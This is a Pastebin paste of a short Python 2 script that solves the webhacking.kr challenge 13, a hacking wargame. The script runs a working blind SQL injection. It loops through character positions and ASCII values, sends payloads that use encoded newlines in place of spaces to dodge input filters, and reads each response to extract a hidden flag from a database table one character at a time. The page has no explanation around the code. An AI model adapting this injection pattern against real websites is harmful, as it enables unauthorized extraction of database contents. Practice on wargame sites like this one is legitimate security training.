hdarwin

webhacking.kr_13

Dec 27th, 2012
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.41 KB | None | 0 0
  1. import urllib2
  2. session = ""
  3. for y in range(1,50):
  4.     for x in range(30, 128):
  5.         url = "http://webhacking.kr/challenge/web/web-10/?no="+str(x)+"%0ain%0a(select%0aord(substr(max(flag),"+str(y)+",1))%0afrom%0aprob13password)"
  6.         req = urllib2.Request(url)
  7.         req.add_header("Cookie", "PHPSESSID=" + session)
  8.         if(urllib2.urlopen(req).read().find("<td>0</td>") == -1):
  9.             print chr(x),
Add Comment
Please, Sign In to add comment